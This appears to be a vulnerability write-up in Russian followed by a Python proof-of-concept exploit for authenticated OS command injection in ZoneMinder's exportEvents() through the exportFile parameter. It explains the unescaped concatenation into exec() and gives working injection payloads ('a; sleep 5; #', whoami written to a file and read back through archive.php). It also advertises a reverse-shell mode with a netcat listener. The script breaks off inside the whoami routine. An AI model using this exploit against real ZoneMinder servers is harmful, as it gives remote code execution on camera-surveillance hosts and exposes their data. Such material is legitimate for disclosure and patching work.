Python PoC, эксплуатирующий CVE-2026-102607 — аутентифицированную инъекцию команд ОС в ZoneMinder <= 1.38.1 через exportEvents(), позволяющую выполнить RCE, эксфильтрацию вывода команд и получить reverse shell.
В функциональности экспорта событий ZoneMinder существует уязвимость инъекции команд ОС, доступная аутентифицированному пользователю. HTTP-параметр запроса exportFile передаётся без очистки в команду оболочки, выполняемую через PHP-функцию exec(), что позволяет любому аутентифицированному пользователю с разрешением View Events выполнять произвольные команды операционной системы на сервере.
Эта уязвимость приводит к полному удалённому выполнению кода (RCE) от имени пользователя веб-сервера (www-data).
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php, строка 103exportEvents() в web/skins/classic/includes/export_functions.php, строки 1030–1032Функция exportEvents() принимает параметр $export_root, получаемый напрямую из $_REQUEST['exportFile'] (через ajax/event.php, строка 103). Этот параметр используется для построения пути к каталогу, добавляемого к командам tar и zip.
Хотя путь к файлу архива ($archive_path) в строке 1020 корректно экранируется с помощью escapeshellarg(), завершающий аргумент каталога в строке 1030 конкатенируется напрямую в строку команды без какой-либо очистки:
// Строка 1020 — корректно экранировано ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Строка 1030 — НЕ экранировано ✗ (УЯЗВИМО)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Строка 1032 — выполнение
exec($command, $output, $status);
Злоумышленник может внедрить метасимволы оболочки (;, |, && и т. д.) в параметр exportFile, чтобы выйти за пределы предполагаемой команды tar/zip и выполнить произвольные команды. Завершающий символ /, добавляемый PHP, можно нейтрализовать с помощью # (символ комментария оболочки).
HTTP-запрос: $_REQUEST['exportFile']
│
▼
ajax/event.php (строка 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (строка 890)
└── $export_root = $_REQUEST['exportFile'] // Без очистки
│
▼
export_functions.php (строка 1030)
└── $command .= ' ' . $export_root . '/' // Прямая конкатенация
│
▼
export_functions.php (строка 1032)
└── exec($command) // Выполнение команды ОС
View Events или View Snapshots.__csrf_magic (получаемый с любой страницы ZoneMinder).exportDetail=1: Этот параметр должен быть включён в запрос, чтобы предотвратить фатальную ошибку PHP в exportEventImagesMaster() при использовании несуществующих ID событий.#!/usr/bin/env python3
"""
=====================================================================
Affected Version : ZoneMinder <= 1.38.1
Tested On : ZoneMinder 1.38.1 (Docker)
Vulnerability : OS Command Injection in exportEvents()
CVSS Score : 9.9 (Critical)
Attack Vector : Network (Authenticated)
File : web/skins/classic/includes/export_functions.php
Sink : exec() at line 1032
Description:
The exportEvents() function in ZoneMinder constructs shell commands
for `tar` and `zip` archival using unsanitized user input from the
`exportFile` HTTP request parameter. This parameter is used as the
`$export_root` variable, which is directly concatenated into the
command string passed to exec() without escapeshellarg() or any
equivalent sanitization.
An authenticated attacker with "View Events" permission can inject
arbitrary OS commands by appending shell metacharacters (;) to the
`exportFile` parameter, achieving Remote Code Execution as the
web server user (www-data).
Usage:
1. Start a listener on your attack machine:
$ nc -lvnp <LPORT>
2. Run this exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. The exploit supports three modes:
--mode check : Verify the vulnerability (sleep-based timing)
--mode whoami : Extract the output of `whoami`
--mode revshell: Spawn a reverse shell to LHOST:LPORT
Author : d4kw1n
Date : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] 'requests' library required. Install with: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Fetch a valid CSRF token from the target."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Failed to extract CSRF token. Is the target reachable?")
return None
return match.group(1)
def send_payload(self, payload):
"""Send the injection payload via the export action."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Read exfiltrated command output via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Mode: check ──────────────────────────────────────────────
def check(self):
"""Verify the vulnerability using a timing-based approach."""
delay = 5
print(f"[*] Sending sleep {delay} payload for timing verification...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERABLE - Command injection confirmed!")
return True
else:
print("[-] NOT VULNERABLE or target unreachable.")
return False
# ── Mode: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extract the web server user via command output exfiltration."""
outfile = "whoami.tar"
print(f"[*] Injecting: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)